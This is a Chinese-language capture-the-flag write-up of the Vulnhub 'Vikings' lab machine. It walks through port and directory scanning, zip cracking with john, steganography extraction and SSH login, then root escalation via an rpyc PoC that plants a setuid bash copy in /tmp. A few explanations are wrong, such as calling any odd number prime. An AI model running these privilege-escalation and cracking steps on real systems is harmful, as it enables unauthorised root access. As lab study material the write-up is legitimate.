Vulnlab_Vikings靶机渗透笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
Vikings靶机渗透实战笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
实验环境:
kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)
Vikings靶机(vitualBox)
kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。
靶机下载地址:
https://www.vulnhub.com/entry/vikings-1,741/
主机发现
nmap扫描网段信息
nmap -sP 192.168.228.0/24
发现目标主机192.168.228.12
信息搜集
nmap扫描目标主机详细信
nmap -p 1-65535 -sV -O -A 192.168.228.12
发现目标主机开启了22,80端口
同时。nmap扫描到了主机22端口使用的ssh服务上的密钥信息:
RSA密钥:
密钥长度: 2048 bits
密钥指纹: 59:d4:c0:fd:62:45:97:83:15:c0:15:b2:ac:25:60:99
ECDSA密钥:
密钥长度: 256 bits
密钥指纹: 7e:37:f0:11:63:80:15:a3:d3:9d:43:c6:09:be:fb:da
ED25519密钥:
密钥长度: 256 bits
密钥指纹: 52:e9:4f:71:bc:14:dc:00:34:f2:a7:b3:58:b5:0d:ce
80端口上是一个http服务,http有一个site目录
浏览器尝试访问,发现如下
点击site/,跳转到http://192.168.228.12/site/页面
页面上没有什么可以利用的信息,翻译一下是介绍维京人伊瓦尔的,这哥们是维京人历史上一个很出名的王,绰号无骨者。
既然页面没有什么可以用的,直接扫描子域名看看有什么发现
使用gobuster进行子域名爆破
gobuster dir -u http://192.168.228.12/site -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.bak,.passwd,.txt
#-x后面是指定扫描的文件后缀信息
发现有一个txt文件,/war.txt,浏览器访问试试
显示信息为/war-is-over,莫非还有子域名没有被扫描到?
尝试访问/war-is-over看看。
在页面中发现一堆很长的加密字符串。
从第一行看好像是base64加密的信息,将保存下来到文本文件,使用base64解码重定向文件,并查看文件类型
cat 111.txt | base64 -d > test
解码出来的是一个压缩文件类型的,点开后发现需要密码。
漏洞利用
可以使用john工具进行密码破解
先把文件移到新建的目录下,以防破解出来的文件过多
mkdir test_viking
mv 111.txt && test test_viking
首先使用zip2jhon工具将要破解的文件编码处理一下转为哈希值
#首先将文件test转化为zip后缀的文件
mv test test.zip
#转换为hash值,存在hash文件下
zip2john test.zip > hash
转出来的哈希值就可以交给kali下的jhon工具来进行密码破解,不过密码破解还需要字典。
cp出来一个默认字典并解压
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
使用john工具进行密码破解
john hash --wordlist=rockyou.txt
破解出来密码为ragnarok123
输入密码解压出来的是一个名字为king的图片文件
使用file king命令查看图片详细信息
图片没有说明可以用的信息,怀疑使用了隐写术,使用binwalk查看图片是否有隐藏的信息
binwalk king
分析得知文件里面包含有图片,tiff,zip等。除此之外在文件里面还有一些压缩文件,被压缩起来的大小是53.解压出来大小是92.被压缩的文件名字是user。
使用-e命令可以查看并提取有用的信息
binwalk king -e # 可以提取出来隐藏文件
运行报错,根据提示使用--run-as=root参数运行
binwalk -e king --run-as=root
成功提取出来隐藏的文件。发现是一个文件夹cd进去看看
file查看文件属性后发现是一个文本文件,cat进行查看后发现有一串可疑的字符串
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
根据格式盲猜可能是ssh登陆的账号和密码,因为在登陆ssh服务的时候都会用@,前面加用户名后面加主机名或者ip地址
ssh尝试登录
ssh FamousBoatbuilder_floki@192.168.228.12
需要密码,用之前user文件中的 f@m0usboatbuilde7
这串尝试一下,发现登录失败
猜测可能是用户名出错,尝试使用floki这个用户名进行ssh登录:
ssh floki@192.168.228.12
发现需要密码,同样输入 f@m0usboatbuilde7
尝试,发现成功登录进来。
ssh登录的用户名:floki
密码:f@m0usboatbuilde7
提权
搜集基本信息,在本地目录下找到readme.txt文件。cat查看后是一串文本信息
翻译一下
_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
我是著名的造船商Floki。我们竭尽全力袭击了巴黎,但我们失败了。我们不知道拉格纳在战后在哪里。他现在非常悲痛。我想向他道歉。 因为是我领导着所有的维京人。我需要找到他。他可以在任何地方。 我需要创造这艘“船”来找到拉格纳
有点意思。
查找系统的密码目录
cat /etc/passwd
在最下方除了现在登录的floki用户外,还发现了ragnar(拉格纳)这个用户,之前web上有他的名字出现。说明是比较重要的角色。
结合之前翻译readme.txt文件中的信息,可以猜出要找到Ragnar(拉格纳)必须使用boat(船),接下来需要创造这艘“船”来找到拉格纳。
刚好本地目录下有个叫boat(船)的文件,发现是个文本文件,直接使用cat查看
发现给了一段伪代码
#num = 29th prime-number
给num赋值 赋值成第29prime-number(素数),不能被2整除的就是素数。先定义一个变量让他的值等于第29个素数的数值在对他进行一个collatz-conjecture也就是考拉兹猜想
考拉兹猜想
给你一个数一个正整数,只要他是奇数,就对他进行乘3加1,如果还是奇数就继续乘3加1.如果计算出来的结果是偶数,就除以2.一直循环。最终都是1.
例如n = 6,根据上述数式,得出 6→3→10→5→16→8→4→2→1。
boat 中的意思是求第 29 个素数的 collatz-conjecture 结果,网上差的结果是 29th Prime Number = 109 。所以写个小脚本
def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result
print(collatz(109))
运行代码得到
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]
放到cyberchef在线网站中进行ascll编码还原。
左上角搜索后双击添加:From Decimal,string,find replace
https://gchq.github.io/CyberChef/
注意中间的参数要配置好
最终得到密码:
mR)|>^/Gky[gz=.F#j5P(
使用这个密码直接切换到ragnar用户下
su ragnar
#输入密码mR)|>^/Gky[gz=.F#j5P(
使用python提升为完全交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
在尝试发现登陆到用户后发现自动执行了某个命令
linux登陆自动执行命令,可以通过
对于当前用户生效的
编辑当前主目录下的.bashrc文件添加一个指令 //下次登陆就可以自动执行。
编辑当前主目录下的.profile文件
.bash_profile文件
对于全局用户生效的
/etc/profile //全局的配置文件
查看当前用户目录下运行了rpyc
cat .profile
运行netstat -tnlp监听一下 tcp 连接:
利用rpyc 提权
提权思路
可以直接使用rpyc_classic.py直接使用,或者挂上一些-m参数。也可以使用ssl身份认证来运行服务端的程序。似乎就是启用ssl对流量来进行加密需要指定证书等内容,才能正常启用这个程序,看起来是一个服务端的接口程序。
apc就是一个远程的文件调用,他的作用就是在服务端可以在服务端运行一个服务端的的程序接口,可以通过客户端的一些代码指令去连上服务端的接口,然后去运行执行服务端的函数,指令。
通过xml的apc服务端的接口是可以来进行提权。
在python环境下也是可以进行apyc提权效果,在python环境中有一个库apyc,就是用过python语言来进行apc进程调用的功能。
当前文件的所有者是root账号,既然他是一个服务端的api,他开放某个端口去连他,那这样的话完全可以使用通过客户端编辑一些程序代码,函数,然后将这些提交到服务端的侦听端口上面,让服务器来执行,执行玩的结果由于他是root账号的属主,所以执行的结果就会实现以root账户执行注入的指令,这就是提权的思路。
官方文档链接:https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html
使用python编写poc如下
vim poc.py
#写入如下python脚本M保存退出
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
fn = conn.teleport(getshell)
fn()
python3 poc.py
./bashroot -p
#在tmp目录下执行
Getshell
查看user.txt得到用户flag,cd到root目录查看root.txt得到root用户的flag
4bf930187d0149a9e4374a4e823f867d
f0b98d4387ff6da77317e582da98bf31
总结
-
使用john进行压缩包暴力破解密码,一般的字典目录在/usr/share/wordlists/这个文件夹下
-
要学会查看web文件下的可用信息,结合所有有用的信息进行联想
-
在得到图片文件的时候,如果得不到什么有用的信息,要考虑到是否使用到“隐写术”
可以使用binwalk -e king 查看图片是否有隐藏文件 binwalk name.jpeg -d 导出隐藏文件
-
学会利用file查看文件类型
-
使用考拉兹猜想编写python脚本得出一串srting
考拉兹猜想就是给你一个数一个正整数,只要他是奇数,就对他进行乘3加1,如果还是奇数就继续乘3加1.如果计算出来的结果是偶数,就除以2.一直循环。最终都是1. -
使用10进制转string得出密码在线转码解码网址:https://gchq.github.io/
-
利用rpyc提权
- 感谢你赐予我前进的力量